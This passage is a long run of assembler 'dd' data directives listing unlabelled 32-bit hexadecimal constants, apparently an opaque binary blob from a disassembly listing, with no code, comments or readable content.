7D9E79F9h, 0E7CB7AADh, 0F8283DFCh, 9BD5B49Eh dd 0EC448F50h, 0C1C2C450h, 13D9F4E9h, 28D4B9C9h, 5C1361D9h dd 30D25664h, 0F32346B7h, 0B32C3598h, 27B75E7Fh, 8745419Dh dd 0E527E31Fh, 505871A6h, 3E628FB5h, 33DB38D1h, 7CC40C6Eh dd 9D376ECDh, 11607C6h, 2B609DE5h, 1C36BA31h, 0A4D939C5h dd 2691E529h, 0B360A878h, 0F7BC0D99h, 6556D9E8h, 3FB7749Fh dd 69847285h, 58BEFE05h, 7B378181h, 388F01Bh, 9F73DA8Dh dd 1727113Bh, 0A6354EC3h, 0BE1171BFh, 77F6F56Bh, 77885C9Eh dd 1315DAC5h, 875C62ADh, 6351FC8Ch, 0B612B3C2h, 6BADBDEFh dd 0AAFD0CC7h, 4DD01DFEh, 5483F259h, 0DC06615Bh, 186C40B7h dd 0D9256D85h, 56652803h, 3233B5E6h, 0E49221E2h, 74B5CA5Bh dd 0DD1EB52Ch, 0E0447F42h, 92C342DFh, 8BC496A0h, 0B7B83C46h dd 0E3DF2DB9h, 318A054Ah, 0D43D3D35h, 3D02FD74h, 0C91BCC1Fh dd 0BBD043D7h, 5C6C150Bh, 0E4172BF2h, 842A1857h, 0BB04942h dd 0C6421180h, 0B34DE102h, 0D3C8B278h, 220A24C5h, 792B8A7Fh dd 6D4B57D0h, 9F63A40Bh, 0F5FC8447h, 0B1FE7E52h, 44AB97BEh dd 2260FC4Eh, 0D6F350C8h, 11ADD577h, 1431E03Ch, 43203E0h dd 0BE53D008h, 0BB3A93E8h, 7787FF22h, 24E5F96Ah, 9D3B5A09h dd 0BB921A17h, 0EC4E8B54h, 88BFA500h, 37932509h, 583D68FFh dd 0F9667A1Dh, 895D7B03h, 32EA52D7h, 6F86FEF9h, 0CCC6D040h dd 15512943h, 2E6ED7F6h, 59D3CC03h, 522BE52Ah, 5CEC7392h dd 0C992F241h, 9881AC36h, 0E7FCDE3Ah, 54E8767Ah, 9461CF0Eh dd 0E2348B7Ch, 7BD67D1Dh, 0B7582B96h, 801D0B39h, 4ACD2C21h dd 0EA60955h, 0D3274622h, 0FC03BC86h, 3B2E7A7Bh, 4F2FEC7Eh dd 0D21F73D4h, 5EF9869Ch, 6DD62F44h, 274D02E2h, 673AF1B2h dd 9B44DB06h, 3CC57FDh, 41FE4F83h, 704CAE5Eh, 0FC0EFC88h dd 22334099h, 8B340485h, 589D8FFBh, 0BABA5A19h, 929CD1C7h dd 16FB236Ch, 2FA7628Dh, 19940085h, 0D019E35Fh, 87AA5B67h dd 0D0586292h, 6F15DED6h, 382F458Fh, 0F3443A3h, 5C25714Dh dd 5C6C444Eh, 0C53A145Dh, 6F5BC4h, 51B07F08h, 0C7E618AEh dd 83756952h, 608497D9h, 1DE9209Fh, 0DAC6C53Ah, 0C7D32868h dd 0A591F255h, 0E1A6C700h, 89D7F60Fh, 0C07BF583h, 2D386C32h dd 0A57A2731h, 60136030h dd 9342CDCFh, 165EAA0Bh, 0EA780ED6h, 0F1ECE6D6h, 0FFF839E8h dd 0FD3FF925h, 3DACD07h, 0EE77900h, 72055F43h, 0F6AA1583h dd 5D8C544Ah, 11FEBD58h, 20AE39D6h, 8593931Dh, 0ED6F5074h dd 6BFD4F86h, 0C3F0831Ch, 0B32DABECh, 0B19F95EDh, 0EC9BDFD1h dd 382856CEh, 0F5C48EB1h, 0CFDC0A1Fh, 3D6D5F56h, 734789F1h dd 7FA99BB5h, 0C294B836h, 9AE32A8Bh, 0B603FEF4h, 9519279Bh dd 5664E423h, 0A4082966h, 0B20947F5h, 4B4CE4A6h, 0BF6B943Bh dd 0FC25BBF3h, 18C8B510h, 0CF4739BAh, 6D180927h, 62E471FEh dd 61F06208h, 0CBAAFA38h, 1C21B085h, 0E7F3F797h, 0F44B9D77h dd 28FF3B61h, 400E1192h, 0D15784C9h, 91C02892h, 84D83975h dd 2F82A602h, 29AA56D5h, 0F87FB415h, 0B767C0F4h, 0D4505DDh dd 0EF400F06h, 5F6F43E2h, 0EC2A2A26h, 99F59E52h, 7981F482h dd 4D1A6F48h, 0F5CD4AF3h, 0E1FB5832h, 69397DB7h, 3C6F35Dh dd 0BB023750h, 9E904090h, 59726B53h, 82D70BE0h, 0AFC40617h dd 6F0BC76Eh, 0E2547CC8h, 7B09166h, 9707A71Dh, 0ADD8DD77h dd 7DE589CDh, 252DF5D7h, 4451ABF8h, 7F6F2859h, 6F5D67ADh dd 0F3B77A57h, 29B0A8DAh, 2CDC6B68h, 0E1B6F8A7h, 0FBE13450h dd 0CCEA5186h, 4F1E5287h, 0D7797BCAh, 0FB30EE19h, 72649496h dd 655FC01Dh, 8FD9B3E9h, 401E64E4h, 76D9642Ch, 50E7CA3Eh dd 624F45C0h, 2A81EC4Ah, 77E64257h, 0A1650AEEh, 7539CD6Eh dd 3FBA1D60h, 3C43DB74h, 0C6361170h, 6AC3B414h, 0CAA0AB9Eh dd 3272D703h, 0E58F4CE6h, 9923E28Bh, 0B82A50ADh, 0E361CAFEh dd 1519BAE3h, 0C8899862h, 0A61F11BAh, 734CFA67h, 4D8934D7h dd 9AFB5EAAh, 332445B6h, 60379550h, 4E52F929h, 6467C095h dd 79917D8Eh, 36B98146h, 2F2D8AD5h, 67B6F36h, 5BB84433h dd 0A591B5F7h, 0A552AB76h, 44B64714h, 6DED8F9Eh, 7CEEDD6Fh dd 5390697h, 0A569A213h, 1F135FFCh, 33FAEE75h, 41B456C4h dd 8BCC8AA1h, 0DB68AC77h, 0E02A67D6h, 339202Fh, 679A6B58h dd 9338110Ah, 3F281156h, 0AA5C755Bh, 53F9025Eh, 7933726Eh dd 101803A3h, 6EACB794h, 688543CEh, 2761A51Ch, 0D467A00Dh dd 0F18EBB65h, 152A1A5Ah, 0B929EF8Eh, 359C2800h, 0B8A97D89h dd 10E360FDh, 711BEC3Ch, 2C8D2056h, 14CA1417h, 0F2EEA6F4h dd 0AB987BCEh, 0F6C121ACh, 0A40E0032h, 8672B19Eh, 0DFCB907Dh dd 29250582h, 0DE7B707Ah, 0C4964EEDh, 0E9922AE2h, 0DF9AA89Ah dd 10601EFAh, 68313EE2h, 0B4ECA7E4h, 2015E1E1h, 0DED6CCF5h dd 0B9F3D4A6h, 12C69994h, 6111426Dh, 83334C5Ah, 8BFC34B5h dd 0CC3B2FB3h, 1DC5E587h, 937C8757h, 6F7B00FBh, 0E21159B2h dd 0DB15A20Dh, 0EDD6A40Ah, 0F74CCACBh, 2F095578h, 0E789DA03h dd 7958D6C5h, 4EA29B3Ah, 0C7CE0FF5h, 4AEDE689h, 8D366A67h dd 0FA5EE0E0h, 0C6541041h, 0B52A580Ah, 696CE096h, 78D30B0Dh dd 6859D539h, 9180CCD1h, 3543D1EEh, 9AA79B16h, 0CD94657Dh dd 0DD7008BBh, 11DED196h, 0EE9F8874h, 0AA286050h, 0D273228Dh dd 40361A28h, 657E0968h, 8282983h, 0A858CB41h, 0C09E5246h dd 0D6571B05h, 1A5BDED6h, 175A6BE8h, 0E0B4AF61h, 208716CFh dd 253DC571h, 96D728D9h, 9AA037D9h, 6B07FF7Ah, 140EEF8Ch dd 68182210h, 7FC4612Bh, 0C54D664Ah, 711A5CDh, 0A5E7EBF4h dd 6557C017h, 7E864F66h, 3EAE7664h, 36B8F1A6h, 53B2FAAAh dd 7AADB6EEh, 2204F5CAh, 58E5BB8Ah, 119EFBCCh, 5E1D0498h dd 5DC42A6h, 8AEA7E55h, 0A7C01990h, 0C7EFBF04h, 1715F312h dd 23EE85h, 4DC3E266h, 0C9EF6D02h, 0D83857AFh, 0CA539E70h dd 74B9D5BFh, 0E7365AB8h, 6CD3E88h, 436F1A33h, 54B58280h dd 0F16DF9DFh, 0B143AEh, 94D3B69Ah, 54106B07h, 4BCD4A37h dd 700374B8h, 1CAF48D0h, 331114FCh, 1544DC08h, 376EEA5h dd 274DED40h, 4A40374Fh, 7E269574h, 4AF89435h, 0E74F8BE5h dd 3DF754E8h, 0E249711h, 0D7CE20C0h, 8519BF69h, 0A1A03451h dd 3EBC45D4h, 0E538EA5h, 0B38E86F1h, 6ECA340h, 0D4E1C19Ch dd 0F0D1FCE2h, 0D4143AA2h, 0A0BB7D57h, 61F2A951h, 0B856A84Bh dd 0ECFC2D6Bh, 0D1D21A0Bh, 81A76839h, 191EE448h, 350AA5ECh dd 51BA52D6h, 467FEB11h, 568E0A75h, 0D6AF6467h, 33708601h dd 0DF752449h, 4C5B14C4h, 0F236D905h, 99E194DEh, 1629AEABh dd 0D6D0BEB7h, 0D2E7DC68h, 0DF867791h, 6C1F2C4h, 0CD7CBC4Ah dd 96E2611h, 935D269Ch, 153E514Fh, 27527E29h, 9508F699h dd 0DD4417DAh, 2D21AC65h, 0E1537777h, 0F4E2ACA8h, 85E77EEBh dd 485F6BDh, 0F2BC1C84h, 0BA541F3h, 0FB37075Dh, 0CAB742FCh dd 7C9A1197h, 3EC6E8D5h, 517C1B4Ch, 0DA4399ADh, 7C1DC094h dd 0A07F9372h, 0F71C48AFh, 77E79D3Ch, 981CAD93h, 4CB9A656h dd 0A8722315h, 0E8835997h, 0C62FEABCh, 503EBA51h, 8FBF1752h dd 0A9E11FF0h, 0E98B1073h, 3F941E8Ch, 0D203297Ah, 0B05BA8BBh dd 568F3243h, 152645F0h, 8C8BFA14h, 0A356813Ch, 60D13EB5h dd 2FC1F238h, 2716E37Dh, 374FF465h, 0F15C0BE1h, 0FEC81A33h dd 415A8B09h, 2D78733Bh, 49F4000Dh, 359DB435h, 0DCF8F78Ah dd 0BF1E353Ah, 0AC124F14h, 0A7871EF1h, 6BBC7264h, 0E48B8237h dd 6B4F111Bh, 4C6E95F9h, 0EA05C633h, 7A4A361Dh, 97A7562Ah dd 0E132C19Dh, 0ABE1B371h, 2D62168Ch, 0B677B693h, 5CA5DB55h dd 9B594DF3h, 19C1A686h, 7B66137Ah, 30E9AB5Ch, 2B42EA0Bh dd 0B311A34Ch, 0D33A503Ah, 0A02BFFDEh, 1C225F86h, 6CC2D419h dd 6D3779B5h, 0BAAA9499h, 1251E99Dh, 0A72BC298h, 586B0487h dd 0F0884B9Fh, 30B70B6h, 9E48AE81h, 0E84062B3h, 0E258BA7Eh dd 816BC7B0h, 875178BDh, 1F4BD647h, 274E2530h, 0EFC88C32h dd 0D87E92F3h, 0B12668FCh, 0E451CD53h, 0D2A728EEh, 2F811C28h dd 0F446302Bh, 0E727BC0Bh, 909D1815h, 0AA0135CDh, 0C12BDF56h dd 0F29DF4DFh, 69F853FDh, 55856C9Eh, 5FDEB8B8h, 566AA02Ah dd 60395B9Ah, 0A14296F5h, 0A713187h, 5FC014D4h, 88C95397h dd 0A62C480Bh, 0C00ECF89h, 0E3086269h, 8B5963AAh, 0B28C7154h dd 0E631EA59h, 76345AD5h, 0F93158DAh, 28C55851h, 0EEE7D84Dh dd 0C2F97067h, 0B1A3B9FEh, 0D1EF1ABAh, 6959A995h, 0ABF781AEh dd 4E74849Dh, 0AC1C0276h, 0A5D02C05h, 0E3B80E16h, 3D246018h dd 0AD59DC65h, 0CDABAEh, 950D0694h, 0FE316F9Bh, 0A56B7F89h dd 3BEE9398h, 3F0B5DC8h, 1126E29Fh, 8ACDA11Dh, 0D369475Bh dd 7CFEB217h, 61B0440Dh, 0B6EB470Bh, 13BCBE4Ch, 78FA5DA2h dd 14B7EDCBh, 1A45150Fh, 0BB824D06h, 0F0E74F15h, 5A1F5175h dd 0A71EC94Eh, 0E52DDC28h, 272C789Bh, 4DC6B6E5h, 2EE86FB3h dd 0DB2C9250h, 4F754683h, 582A4627h, 986C8DE5h, 8454F6D5h dd 0D3A95B02h, 0EE18DD33h, 79313335h, 0B91E0F12h, 0A5F983BCh dd 0D632248Fh, 27A093CBh, 33D11411h, 2B2F01D9h, 9DD1DB30h dd 762FE515h, 3095EB71h, 0B6B78F6Fh, 8965D4B5h, 41605223h dd 94273B7Fh, 568137EFh, 0D2645E25h, 73792DAAh, 687DE0ABh dd 0F6B6FDF6h, 0FA1C8AA8h, 0BFA8DC92h, 839ACF54h, 0B86773E0h dd 5E78685Bh, 8A3E9BEDh, 51705D68h, 0E0808F53h, 7E76B8F1h dd 7A650E82h, 7EFBABDEh, 0BA5CD1A4h, 0F54D549Eh, 0FF03109Fh dd 0A66EAE1Bh, 0CD814C42h, 0C59DA1CAh, 1861D61Dh, 0EE839F4Bh dd 0AFC68A7Dh, 0E9A175D1h, 236219A0h, 8B3F05C8h, 6E3D1938h dd 0C5CB95F0h, 8793F3DFh dd 8A0F2FB9h, 8E2B6ADAh, 0E5110292h, 222E98B5h, 0C88CA36Eh dd 0E12BBEBBh, 3C1EDBABh, 0D447A62Ah, 48680CDBh, 10476898h dd 3E648294h, 570319B7h, 3A11E8Ch, 0E7A51E56h, 10E98E64h dd 0C1652056h, 7C9DFB94h, 0AF7A10C7h, 5E8B33ACh, 8624038h dd 3CB23EB6h, 4BFB8F38h, 0F41F9FBDh, 3DDD3ADAh, 5BE1D229h dd 0CCE516E7h, 895637AAh, 1469A444h, 50E61E46h, 37D02027h dd 5631BCB1h, 4D94D6ABh, 3C9A4DCCh, 3E5265EDh, 88AB3C9h dd 11A7C701h, 0D675938Ch, 15AA4415h, 0C8201418h, 9E7686D0h dd 1E32BC00h, 9109C54Ch, 24B076F3h, 0EDDB57Bh, 0E4F91F00h dd 752118Ah, 8A95DB65h, 12F31A1h, 21844D31h, 5C45384Eh dd 0D98713EAh, 0E4F74EC1h, 0EF4E68ADh, 71E0CFFBh, 0E2CEEED2h dd 78C1A234h, 49C8DF8h, 5E1FB918h, 0FB1C06DAh, 2120FA94h dd 13BB2DE0h, 2E93AEA8h, 1D7D9Bh, 737E20E1h, 67176E91h dd 0A9ADDDB3h, 0FE7F9499h, 0C84CFD51h, 776D6E82h, 4C7C54DEh dd 0A2AC862Ch, 3F31D2h, 0E5E626E8h, 2CEBFB72h, 169F6DE0h dd 0B59080E5h, 1E2A4FF8h, 9152D5A7h, 0BECD975h, 641317F0h dd 0B8927833h, 21A75062h, 0EDC91AFh, 0AAF18131h, 9475B928h dd 8A5570F0h, 2C73EE10h, 0EAE14F26h dd 0FEE89BFDh dd 16955D81h, 6A458717h, 120F9046h, 5ADF2A71h, 0CC5703E2h dd 7F7F49E2h, 0B49C102Ch, 3A4B65Ch, 1E3086AAh, 0D3E49B12h dd 2AE30038h, 0A877A1C1h, 0EA07E1D8h, 0F9368FE5h, 9607BAAEh dd 0FE49353Eh, 0FB72FB3Eh, 0E55BA32Ah, 5921551Eh, 0F3197D19h dd 38F4A1F4h, 5541574Bh, 0A7D471AFh, 0E32DCB96h, 0DEB884DFh dd 91150E9h, 35EEFF17h, 0F2360809h, 8DDC90CAh, 0CC5DA41Ch dd 0E3883588h, 962523C1h, 0AE6B1CCEh, 0BB9B4DBEh, 0E4BE6516h dd 0ABD68A9Fh, 0D42D57BFh, 0D9CA4B7Ah, 14CA5330h, 732DB959h dd 0CA462D95h, 18ED2F42h, 0C8E830E3h, 11A4C770h, 0CAA8175Dh dd 9169FB9Eh, 0EC5076C9h, 0B5374950h, 0E9071B89h, 0F0B76EB5h dd 56F9147Eh, 0F24E1857h, 57120481h, 0A66490C9h, 89AB5231h dd 0FD6C62CBh, 4F0F5D11h, 0D6BB58B8h, 7308B4F6h, 0D47A56AEh dd 807E09CEh, 0E4ED2CB4h, 5649E519h, 0BEB8304Ah, 95C79122h dd 68E078Eh, 969BF7A4h, 0C07F2BEBh, 4D2294B0h, 1FBDBB6Ah dd 93C1F231h, 0C2A414A7h, 434C6CDAh, 9AE8BC06h, 61B58DB9h dd 2B3FCC33h, 78E88FC1h, 0AEABB2D2h, 0B5510E8Ah, 97E59BC5h dd 0D32B7D1Bh, 7705751Ah, 2F909EBCh, 0B145B5E5h, 0EC32E600h dd 864639C0h, 0C780B3D2h, 0EC7F110Ch, 7945A242h, 0ABEEB6CDh dd 0EC80A0D1h, 0F0576759h, 0B45B59EFh, 0A39724E8h, 0FAE97953h dd 0BC2B6804h, 157526F4h, 0F74A4EB0h, 0B9DDABE1h, 8DCE2730h dd 3C20E527h, 0CFF7E491h, 5B91CD3h, 853FED7h, 989B026Ch dd 0EF8DBB2Ch, 0EF9494CEh, 0D97A10BEh, 8F671E77h, 83D6342h dd 0AD6DA62Ch, 5F5FEDCCh, 47D899B4h, 7ED29805h, 66AC7AE6h dd 0C034B483h, 7BB9144Ah, 3AE11573h, 27888178h, 0C651980Dh dd 0F1AEAC59h, 9A34956Ch, 0CF7C34C9h, 5CCD3062h, 7A61BE9Ch dd 0ED46C65Fh, 8A3AA2DDh, 4152D86Ch, 102441CFh, 9E6318D8h dd 0F73C204Fh, 0C41CE523h, 88BFB173h, 391A264Eh, 74F3A25Dh dd 16FAB3B3h, 0C84B86CCh, 7B046EF6h, 63780BD3h, 0EF2CABF7h dd 62DAED9Ah, 69206537h, 0F7B1D4E9h, 8E6115E4h, 6D8F254Ah dd 647CEF33h, 0C0287A12h, 9D414E6Ch, 0A2E3720Fh, 9A7F567Eh dd 0D1FF1284h, 466D1F41h, 3BEE73B3h, 0EA287657h, 83382392h dd 0C69F7CF4h, 380AC439h, 69A3EB19h, 737C0533h, 96410A5Dh dd 159AD3BCh, 0E3760968h, 289A9F7Eh, 65FB1FD5h, 5E760A21h dd 720F0CAEh, 32EB7D4Ch, 95C4690Fh, 244540Ah, 9647E860h dd 31E7529Bh, 333F1A63h, 0DBCCEF83h, 23111A83h, 6E583039h dd 8D9B4FCBh, 16FBA445h, 43DD1CC7h, 0D3761677h, 2E1E1089h dd 0C10655D2h, 0CD886FB7h, 0DE62FB80h, 80DBDD8Fh, 6C920ACAh dd 774653EDh, 46DF96DBh, 0DD651A3Ah, 0CB6B6CACh, 720C4499h dd 22375CE7h, 6AD5EB4Dh, 0A72B8D93h, 0FAD0232Dh, 5643ECD8h dd 0C9FE6D70h, 0DB5622EFh, 85147B6h, 0FD9E2B4Dh, 0E9AE7ADBh dd 0D1689B88h, 0EF8015BEh, 66771DF8h, 0C1A15D08h, 14324864h dd 6E679DDh, 9E4A1EFh, 0CBECDAF8h, 0CB7EAFC6h, 44857F18h dd 79A2867Ch, 22AABED3h, 2977263Ah, 80351A26h, 0EA8DA9FCh dd 0EC487DA0h, 28F6F0D2h, 7D5D9E2Bh, 73FC6D67h, 430C2F2Bh dd 64F69C96h, 2D2DF5A8h, 4D301A9Dh, 0ECA8793Bh, 0A400894Fh dd 8FA55820h, 330D30D9h, 0E0DD1E7Ah, 6680E362h, 0A97240D5h dd 15E7C10Eh, 0CD57D663h, 29540617h, 0AB863A74h, 580F953Ah dd 86AA96B8h, 56F3CA97h, 580AFFEFh, 9950C4B9h, 7B376465h dd 3B7A576Ch, 6E89504Dh, 3D781DE4h, 0A3A540E6h, 2B048E44h dd 0EF9A3A30h, 0CE677BF0h, 0C28D3291h, 8F8474BBh, 65728FEAh dd 9927096Eh, 855A577Dh, 360A6B51h, 0A9F0AB78h, 0E0C840B0h dd 7197B6Fh, 0B5448195h, 0DF24D77Bh, 1489139Dh, 0D4DC1A4Bh dd 9E96AC02h, 0F2E537Eh, 91EE95Fh, 0E8F3BFE8h, 65B991ABh dd 5F3E608Bh, 899773C2h, 820ECAF1h, 0B4D17E9Fh, 0AABB7E2Bh dd 60228FDAh, 3D1FBC0Fh, 556CB840h, 9722E480h, 17F0334Dh dd 0FA7BBC45h, 8A4E030Dh, 5061AFE1h, 0A11B088Bh, 0E68C107Ah dd 0AA6D3302h, 66AC81C9h, 34FB72C3h, 37844A65h, 93C163A2h dd 0AF66C015h, 0B893038Ah, 9A6F7A4Fh, 97CAC973h, 0FF1CBDE8h dd 0DA55DE2Eh, 527EC951h, 0C3C05A2Fh, 7704C21Ah, 0A77B4EEDh dd 0C36E32EDh, 646AB61Fh, 0B0D4F9B8h, 7F234521h, 0CC608EA8h dd 414B64DEh, 7492217Bh, 4373053h, 0D79E94AEh, 8D8300Dh dd 9CE7FED7h, 8E2D66D0h, 0A6F62751h, 78562786h, 9EE0AFC3h dd 620CB16Bh, 6872418Fh, 0BA6E9F65h, 512BF601h, 0F4790FB6h dd 88A75630h, 23E9E5BFh, 70DE49Dh, 834C2B05h, 0ABB09E55h dd 869B4348h, 363DBE9Ah, 0DE3E76A1h, 0FBBC1F63h, 927DF358h dd 0F0F34AB6h, 0A2B91D5Dh, 49222C11h, 82F3AE18h, 328CAB44h dd 40C2AB08h, 5947E318h, 0C037ED53h, 95DEF7F9h, 3AC88CE3h dd 9CD52EECh, 7B7E49AAh, 977DE66Dh, 352CF731h, 2E6B8638h dd 58EAC6C3h, 0F73686C7h, 0F6A292D0h, 0A620C8C2h, 1EDC8E28h dd 451C33D9h, 3C8BA6DAh, 0C8FD2EFFh, 1488559Ah, 0D3D2535Dh dd 0B60D9829h, 6B07CC0h, 7B9519FBh, 4FAB438h, 0AC439CE7h dd 0FBD1C5D9h, 0A45FF4B8h, 0E8719927h, 0D3A2BD36h, 16D21ACCh dd 452E0C7Bh, 0FDF65CD7h, 0D479E6EAh, 0EC415D59h, 47A6A73Ah dd 0CFEE06B3h, 0CA22FD6Ah, 4A66E43Ah, 7E2555B8h, 5E6C8C04h dd 0D7E9BF2Ch, 3E65C7Bh, 0F9467C18h, 152B4C44h, 0C45E639Fh dd 8B9C49CEh, 313C86DEh, 1917164Ah, 7C1FB7F0h, 0B63E24CAh dd 5B3D236Bh, 0C2CA0055h, 0E7BE1941h, 59485681h, 70381841h dd 0A70686CFh, 6739FDEAh, 0E529A318h, 0F7859F12h, 916C611h dd 48CD17D2h, 0BF9F4BC2h, 5B5E7AA2h, 8AE50998h, 0F7692011h dd 0C5104D51h, 0CBCD9284h, 4F0D5272h, 31E66E26h, 0A6E45A80h dd 841C16DEh, 5158A30h, 0B8E9D859h, 0C3855EFEh, 98DA4C67h dd 0E4F93935h, 63C898F5h, 22897AFCh, 6A9ACB38h, 3E60183h dd 60D19218h, 6FBF9C8Dh, 53895A22h, 79A9061Dh, 9D401731h dd 0A3CD8005h, 0B9E632D6h, 61F0B83Ch, 0CF6791F2h, 0BE8273F5h dd 0A4706144h, 0EC71D029h, 0FB67E4B9h, 0DC65AE59h, 5D4E0868h dd 20FF15B0h, 0ED24D78Fh, 66DDABE5h, 0CA1C9A34h, 8381E26Fh dd 315A8D76h, 89CFE136h, 65C1C017h, 0E0DFDC43h, 29145F0Fh dd 2F3E058Fh, 0B98E3F20h, 76FC586Bh, 7D87065Dh, 43120582h dd 92D5DEF8h, 69B7AD20h, 24D31B27h, 9D514150h, 0AC8EB81Dh dd 3E50793Ah, 47E44579h, 0D33C5CB0h, 78734C86h, 2EA8BC06h dd 2073BFF0h, 7F95F2BFh, 36B23D8Eh, 8CCEA24Bh, 0A0BC0BA9h dd 40A1A2Dh, 344F7B49h, 27521D3Fh, 60CDF3C0h, 0A0733829h dd 0F0E1153Bh, 3E85EE1h, 0BE25B041h, 6E6C897Bh, 516A0119h dd 0F06AEAEDh, 929873C7h, 0CA4DCB25h, 46BA74F2h, 40F1DAD2h dd 117C132Fh, 9E70BE8Ch, 304431EAh, 4CE4A36h, 96B2D5FEh dd 61130EE2h, 73EE141Eh, 0FEC9C496h, 2AC28D6Ah, 26A76568h dd 86EA0E45h, 0BF0ECDD3h, 9B497D6Bh, 0D38B396Fh, 0F69B7E12h dd 5B73DE4Eh, 914DDC12h, 0D3D2C5CCh, 4DA5EF0Bh, 3BDBEA0Bh dd 78675815h, 0E52E86C0h, 54EF9F1Ah, 0ECD2E6EDh, 10E2DABEh dd 39A95F3Ch, 68AA6B84h, 0D9D57232h, 0E5A5B23h, 0FE1D4D82h dd 48BE6BCDh, 65642C5Dh, 36BAA0F9h, 0E906763Ch, 1541C2E9h dd 31B7DFDBh, 0E918DE99h, 12583FC4h, 1665A38Fh, 45531C52h dd 99BA79BEh, 95D97CEBh dd 5B468A42h, 0A9F8CE46h, 0E1D23124h, 0CF84FF39h, 4DB416C0h dd 8130BB34h, 0CF6658E5h, 0ED8C3FF5h, 0F7337459h, 0BCA2ACCCh dd 61AA7449h, 1C8D58BFh, 174C516Fh, 0F4AF927Bh, 0BEADC078h dd 9FC42079h, 95914A35h, 0F21C52A2h, 5028D30Ch, 0F9461BDBh dd 42C66DADh, 6DCFA51Dh, 1369C2B5h, 75DA0A2h, 607F01E5h dd 9C36E121h, 4DA0712Ah, 17117F71h, 4BEF06BDh, 8DEEE76h dd 6F58A1A2h, 0B7713891h, 5FBBDAE6h, 0BA08EBABh, 0A0AC0A0Eh dd 616AEB57h, 9D5BCAB0h, 0D87B4369h, 12334845h, 0F0C95898h dd 0BC73178Dh, 0DDC7ACC9h, 0BEA95A56h, 948FCC76h, 0AFE6BE6Dh dd 43AAA4Fh, 91FFB630h, 73B100D4h, 8141676Ah, 81DD179Ah dd 4364C577h, 95E13D49h, 512D5BFh, 87863E14h, 9593C69h dd 6D438B4Eh, 0FA8BA1CFh, 91D91579h, 18880490h, 5CDA7DD2h dd 9674BCDEh, 5534B7CFh, 9AC93A14h, 3416C199h, 0E19DF95Dh dd 0EEE37A98h, 98DE5E02h, 0B26AD7F7h, 0B5F8A6F8h, 0B1DB2CBCh dd 707C48B4h, 0A4C59703h, 837D2928h, 8CE2A6FDh, 2C3CB069h dd 5B85265Ch, 20BCB229h, 53ED1C7Eh, 0BDECDA10h, 522EF9ECh dd 67FA8425h, 502AC4F4h, 786306C4h, 0D58EB09Dh, 92188746h dd 0B635656Eh, 0CC3E853Eh, 22B4E6C5h, 270934D0h, 0B7609B62h dd 3799ED82h, 0A265A916h, 7FA7D2E4h, 0FC4DD043h, 0E7320F2Bh dd 0C6C52353h, 0FA9A0EF6h, 0D4A17916h, 4AF8B56Bh, 14FE6CA2h dd 0FACD7122h, 2271016Fh, 0A035B3AFh, 0C125EF1Fh, 6E4BEA2Bh dd 8A176AE4h, 658C9AF2h, 13CC564h, 7A6A9A57h, 6CE7BC8Fh dd 0CE9A8B9Eh, 0C1AF372Ah, 0E97AF69h, 0C60B6326h, 0D5D42062h dd 0E4F4BF25h, 3034E5DAh, 0C1E133DFh, 669EEA99h, 5F086CB9h dd 0C6DC2E75h, 419DD0B1h, 3C43C1AAh, 0E2C48058h, 8E40BBB3h dd 0CFBA3B1Ch, 0DF6B7BA9h, 672A9083h, 98C93CE0h, 0EAAB8301h dd 85D6AFE9h, 23BE016Ah, 0CD8945F5h, 65325A6Dh, 46FB1D77h dd 163A3DABh, 0B0AF14ABh, 0E677ED7Dh, 8F82B588h, 0B377D971h dd 8A59B953h, 6383D96Fh, 0DCC1C3B8h, 0CC735558h, 0D12D158Fh dd 7F0A98h, 255D4D5Ah, 8F038CBEh, 94F78281h, 7DE4E092h dd 8EE89FE1h, 0B037ED35h, 6C3DD2BEh, 248833F3h, 5B1D1FE1h dd 1C7500BAh, 0A75DCD32h, 0D7529DC0h, 9B2FEDB8h, 9BC5EE1Fh dd 8EFCDF8Ch, 545DE528h, 2E6A3E8Eh, 72EA1D18h, 0FDAFCB76h dd 0B54E6F0Eh, 71066BC2h, 250772D7h, 0D77F865Ah, 8B1BEA7Eh dd 33F5807Ah, 81A37D36h, 6B2A9B3Fh, 0E19C1B5Ch, 0D430F26Ch dd 5FF4D2D2h, 0D5AF3C31h, 625AE3C1h, 0D497934Dh, 0ADF1CD53h dd 46129796h, 534AA5CAh, 26239E58h, 19179BDCh, 5231E78Dh dd 0BA89BC1Eh, 0FDD4F2ECh, 290CACACh, 1D4E96BAh, 37A333EFh dd 0E70BD658h, 76A09264h, 1F424AD5h, 0C40B8491h, 2B2B022Bh dd 0AE884F35h, 0E9E551A1h, 7DFC3AF6h, 4A039FD3h, 817950D1h dd 0F7B2704Eh, 0DE614AE2h, 0C655592Fh, 69BCBEFh, 0EFE1D73Bh dd 0C3D7B881h, 103D03A5h, 95A859B5h, 4AE6C4B0h, 0EC01324Eh dd 5CE8E75Bh, 0CAF18317h, 3CFA4C32h, 3290899h, 6597754Ah dd 353E9C4Fh, 0A758F079h, 1102DF3Eh, 532BADC9h, 0E3D076Fh dd 0FEFD822Bh, 0FABBB106h, 0F96C269Ah, 57BAA405h, 0D148D88Dh dd 6500D62Ch, 6C3E9A3Ch, 99BF555Ah, 0AC9669A5h, 7F4B3FCAh dd 69B1752Ah, 82567B89h, 88F8B891h, 0F0D9C40Ah, 0B9E36A04h dd 731972FAh, 0FC2BD526h, 0B4C29454h, 39D3CE0Ch, 0C193EBEDh dd 54713E2Ah, 3623A98Ah, 0FB054311h, 25FE5137h, 0C0D98724h dd 2EB2EE5h, 0F82D6CFFh, 0EDFF2F47h, 3C175BCFh, 0CDE9BDCh dd 4897067Bh, 231A3733h, 0A18FFDF7h, 0D2651975h, 0FE01A923h dd 62EC1942h, 91A9F17Ch, 1F77BA59h, 7ABC76C2h, 48874BA0h dd 0E64E2E29h, 82A6F941h, 2DCC7440h, 0C052B4FFh, 30A566AAh dd 1AE281DEh, 6A83EB95h, 2A2F0442h, 68AE221Ch, 0C8DF03F7h dd 0D9CD3B5Bh, 0AB51C693h, 7CC4FD1Eh, 81B324CAh, 0BDFB9D96h dd 1D1CC5DBh, 94B580F0h, 0B4DBA40h, 5BC2520Fh, 3CF0514Eh dd 29623C1h, 7AE4A860h, 9B0AAC53h, 0A13C3B04h, 0F63014BAh dd 0C3E5A024h, 985CB2E3h, 0A204F633h, 0D8E1B90Ch, 14782DF8h dd 0DF271F84h, 5200C44Ah, 0B0BCD600h, 87CAA219h, 0CFF205E6h dd 0BD3F5D3Dh, 0A67A2A4Dh, 697E6EFh, 2FB79D95h, 0F3C5A980h dd 3DC3A088h, 6AC7761Fh, 8659ED0Eh, 0FE719781h, 0A9A0927Eh dd 0F98174E2h, 